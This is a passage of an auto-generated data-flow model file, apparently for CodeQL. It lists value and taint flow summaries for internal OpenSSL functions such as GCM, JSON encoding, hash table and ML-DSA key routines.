"Argument[*1].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_initctx", "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)", "", "Argument[*3]", "Argument[*1].Field[**hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_initctx", "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)", "", "Argument[2]", "Argument[*1].Field[*keylen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_initctx", "(void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *)", "", "Argument[3]", "Argument[*1].Field[*hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_final", "(void *,unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_gcm_stream_update", "(void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t)", "", "Argument[5]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_gen_deterministic_nonce_rfc6979", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_get_avail_threads", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_get_extension_type", "(size_t)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ht_count", "(HT *)", "", "Argument[*0].Field[*wpd].Field[*value_count]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ht_filter", "(HT *,size_t,..(*)(..),void *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ht_foreach_until", "(HT *,..(*)(..),void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ht_insert", "(HT *,HT_KEY *,HT_VALUE *,HT_VALUE **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ht_new", "(const HT_CONFIG *)", "", "Argument[0]", "ReturnValue[*].Field[*config]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_BIT_STRING", "(ASN1_BIT_STRING *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_BIT_STRING", "(ASN1_BIT_STRING *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_BIT_STRING", "(ASN1_BIT_STRING *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_INTEGER", "(ASN1_INTEGER *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_INTEGER", "(ASN1_INTEGER *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_ASN1_INTEGER", "(ASN1_INTEGER *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_uint64_int", "(unsigned char *,uint64_t,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2c_uint64_int", "(unsigned char *,uint64_t,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DH_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DH_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DH_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DHx_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DHx_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_DHx_PUBKEY", "(const DH *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_ED448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X25519_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_i2d_X448_PUBKEY", "(const ECX_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ipaddr_to_asc", "(unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_is_partially_overlapping", "(const void *,const void *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_is_partially_overlapping", "(const void *,const void *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_i64", "(OSSL_JSON_ENC *,int64_t)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_in_error", "(OSSL_JSON_ENC *)", "", "Argument[*0].Field[*error]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_json_init", "(OSSL_JSON_ENC *,BIO *,uint32_t)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_init", "(OSSL_JSON_ENC *,BIO *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_init", "(OSSL_JSON_ENC *,BIO *,uint32_t)", "", "Argument[2]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_key", "(OSSL_JSON_ENC *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_key", "(OSSL_JSON_ENC *,const char *)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_set0_sink", "(OSSL_JSON_ENC *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_set0_sink", "(OSSL_JSON_ENC *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_str", "(OSSL_JSON_ENC *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_str", "(OSSL_JSON_ENC *,const char *)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_str_hex", "(OSSL_JSON_ENC *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_str_hex", "(OSSL_JSON_ENC *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_str_len", "(OSSL_JSON_ENC *,const char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*wbuf].Field[**buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_json_str_len", "(OSSL_JSON_ENC *,const char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_json_u64", "(OSSL_JSON_ENC *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*wbuf].Field[**buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_kdf_data_new", "(void *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_kdf_data_new", "(void *)", "", "Argument[*0].Field[*libctx]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_keccak_init", "(KECCAK1600_CTX *,unsigned char,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*pad]", "value", "dfc-generated"] + - ["", "", True, "ossl_keccak_init", "(KECCAK1600_CTX *,unsigned char,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*block_size]", "taint", "dfc-generated"] + - ["", "", True, "ossl_keccak_init", "(KECCAK1600_CTX *,unsigned char,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*md_size]", "taint", "dfc-generated"] + - ["", "", True, "ossl_keccak_init", "(KECCAK1600_CTX *,unsigned char,size_t,size_t)", "", "Argument[3]", "Argument[*0].Field[*md_size]", "taint", "dfc-generated"] + - ["", "", True, "ossl_legacy_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_legacy_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_legacy_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_legacy_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_lh_strcasehash", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_lh_strcasehash", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_lib_ctx_get_concrete", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_lib_ctx_get_concrete", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_lib_ctx_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_lib_ctx_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ossl_lib_ctx_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_lib_ctx_get_ex_data_global", "(OSSL_LIB_CTX *)", "", "Argument[*0].Field[*global]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_lib_ctx_get_rcukey", "(OSSL_LIB_CTX *)", "", "Argument[*0].Field[*rcu_local_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_lib_ctx_is_child", "(OSSL_LIB_CTX *)", "", "Argument[*0].Field[*ischild]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_mac_key_new", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_mac_key_new", "(OSSL_LIB_CTX *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_mac_key_new", "(OSSL_LIB_CTX *,int)", "", "Argument[1]", "ReturnValue[*].Field[*cmac]", "value", "dfc-generated"] + - ["", "", True, "ossl_md5_sha1_ctrl", "(MD5_SHA1_CTX *,int,int,void *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_md5_sha1_final", "(unsigned char *,MD5_SHA1_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_md5_sha1_update", "(MD5_SHA1_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_method_construct", "(OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_method_store_add", "(OSSL_METHOD_STORE *,const OSSL_PROVIDER *,int,const char *,void *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[**algs].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "ossl_method_store_fetch", "(OSSL_METHOD_STORE *,int,const char *,const OSSL_PROVIDER **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_method_store_free", "(OSSL_METHOD_STORE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_method_store_new", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_method_store_new", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_common_pkcs8_fmt_order", "(const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**fmt]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_common_pkcs8_fmt_order", "(const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**fmt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_common_pkcs8_fmt_order", "(const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*fmt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[1]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**pub_encoding]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[*rho]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*3].Field[**libctx]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*3].Field[*libctx]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**pub_encoding]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*rho]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_i2d_pubkey", "(const ML_DSA_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[*2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_high_bits", "(uint32_t,uint32_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_low_bits", "(uint32_t,uint32_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_low_bits", "(uint32_t,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_use_hint", "(uint32_t,uint32_t,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_dup", "(const ML_DSA_KEY *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_dsa_key_get0_libctx", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get0_libctx", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_collision_strength_bits", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*bit_strength]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_name", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[**alg]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_name", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*alg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_priv", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**priv_encoding]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_priv", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*priv_encoding]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_priv_len", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*sk_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_prov_flags", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*prov_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_pub", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**pub_encoding]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_pub", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*pub_encoding]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_pub_len", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*pk_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_seed", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**seed]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_seed", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*seed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_sig_len", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*sig_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_new", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_new", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_params", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_params", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*params]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_pub_alloc", "(ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*k]", "Argument[*0].Field[*t1].Field[*num_poly]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_matrix_expand_A", "(EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *)", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_matrix_expand_A", "(EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *)", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_matrix_expand_A", "(EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *)", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_matrix_mult_vector", "(const MATRIX *,const VECTOR *,VECTOR *)", "", "Argument[*0].Field[**m_poly].Field[*coeff]", "Argument[*2].Field[**poly].Field[*coeff]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_mu_init", "(const ML_DSA_KEY *,int,const uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_dsa_pk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**pub_encoding]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_pk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*rho]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_pk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[**pub_encoding]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_pk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rho]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_expand_mask", "(POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *)", "", "Argument[5]", "Argument[*4].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_expand_mask", "(POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *)", "", "Argument[5]", "Argument[*4].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_expand_mask", "(POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *)", "", "Argument[5]", "Argument[*4].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_ntt_mult", "(const POLY *,const POLY *,POLY *)", "", "Argument[*0].Field[*coeff]", "Argument[*2].Field[*coeff]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_ntt_mult", "(const POLY *,const POLY *,POLY *)", "", "Argument[*1].Field[*coeff]", "Argument[*2].Field[*coeff]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_sample_in_ball", "(POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t)", "", "Argument[4]", "Argument[*3].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_sample_in_ball", "(POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t)", "", "Argument[4]", "Argument[*3].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_sample_in_ball", "(POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t)", "", "Argument[4]", "Argument[*3].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[*3]", "Argument[*0].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[*5]", "Argument[*0].Field[**priv_encoding]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*prov_flags]", "taint", "dfc-generated"] + - ["", "", True, 